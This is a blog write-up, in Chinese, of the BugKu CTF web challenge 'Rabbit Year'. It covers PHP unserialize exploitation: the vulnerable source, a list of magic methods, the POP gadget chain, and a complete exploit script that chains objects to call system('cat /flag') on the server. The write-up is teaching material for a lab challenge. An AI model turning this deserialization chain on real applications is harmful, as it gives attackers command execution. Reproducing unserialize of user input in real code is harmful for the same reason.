Home BugKu WEB 兔年大吉 反序列化
Post
Cancel

BugKu WEB 兔年大吉 反序列化

题目源代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
<!-- PHP 5.6.40 (cli) (built: Jan 31 2019 01:30:45) -->
<?php
highlight_file(__FILE__);
error_reporting(0);

class Happy{
    private $cmd;
    private $content;

    public function __construct($cmd, $content)
    {
        $this->cmd = $cmd;
        $this->content = $content;
    }

    public function __call($name, $arguments)
    {
        call_user_func($this->cmd, $this->content);
    }

    public function __wakeup()
    {
        die("Wishes can be fulfilled");
    }
}

class Nevv{
    private $happiness;

    public function __invoke()
    {
        return $this->happiness->check();
    }

}

class Rabbit{
    private $aspiration;
    public function __set($name,$val){
        return $this->aspiration->family;
    }
}

class Year{
    public $key;
    public $rabbit;

    public function __construct($key)
    {
        $this->key = $key;
    }

    public function firecrackers()
    {
        return $this->rabbit->wish = "allkill QAQ";
    }

    public function __get($name)
    {
        $name = $this->rabbit;
        $name();
    }

    public function __destruct()
    {
        if ($this->key == "happy new year") {
            $this->firecrackers();
        }else{
            print("Welcome 2023!!!!!");
        }
    }
}

if (isset($_GET['pop'])) {
    $a = unserialize($_GET['pop']);
}else {
    echo "过新年啊~过个吉祥年~";
}
?>

魔法函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
__construct 当一个对象创建时被调用,
__destruct 当一个对象销毁时被调用,
__toString 当一个对象被当作一个字符串被调用。
__wakeup() 使用unserialize时触发
__sleep() 使用serialize时触发
__destruct() 对象被销毁时触发
__call() 对不存在的方法或者不可访问的方法进行调用就自动调用
__callStatic() 在静态上下文中调用不可访问的方法时触发
__get() 用于从不可访问的属性读取数据
__set() 在给不可访问的(protected或者private)或者不存在的属性赋值的时候,会被调用
__isset() 在不可访问的属性上调用isset()或empty()触发
__unset() 在不可访问的属性上使用unset()时触发
__toString() 把类当作字符串使用时触发,返回值需要为字符串
__invoke() 当脚本尝试将对象调用为函数时触发

pop链

1
2
3
4
5
6
7
call_user_func()  ->  Happy::__call
Happy::_call  ->  Nevv::__invoke
Nevv::__invoke()  ->  Year::__get			// 不可读取的数据
Year::__get  ->  Rabbit::__set
Rabbit::__set  -> | Year::firecrackers()
Year::firecrackers()  ->  Year::__destuct
Year::__destuct  ->  Year::$key = happy new year

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
<?php

use Happy as GlobalHappy;
use Nevv as GlobalNevv;
use Rabbit as GlobalRabbit;
use Year as GlobalYear;

class Happy{
    private $cmd = "system";
    // private $content = "ls /";
    private $content = "cat /flag";
}

class Nevv{
    private $happiness;
    public function __construct($happiness){    // 添加
        $this->happiness = $happiness;
    }
    public function __invoke()
    {
        return $this->happiness->check();
    }

}

class Rabbit{
    private $aspiration;
    public function __construct($aspiration){   // 添加
        $this->aspiration = $aspiration;
    }
    public function __set($name,$val){
        return $this->aspiration->family;
    }
}

class Year{
    public $key = "happy new year";
    public $rabbit;

    public function firecrackers()
    {
        return $this->rabbit->wish = "allkill QAQ";
    }

    public function __get($name)
    {
        $name = $this->rabbit;
        $name();
    }

    public function __destruct()
    {
        if ($this->key == "happy new year") {
            $this->firecrackers();
        }else{
            print("Welcome 2023!!!!!");
        }
    }
}

$Y = new GlobalYear();
$Y2 = new GlobalYear();
$Y2->rabbit=new GlobalNevv(new GlobalHappy());
$R = new GlobalRabbit($Y2);
$Y->rabbit=$R;

echo urlencode(serialize($Y));
This post is licensed under CC BY 4.0 by the author.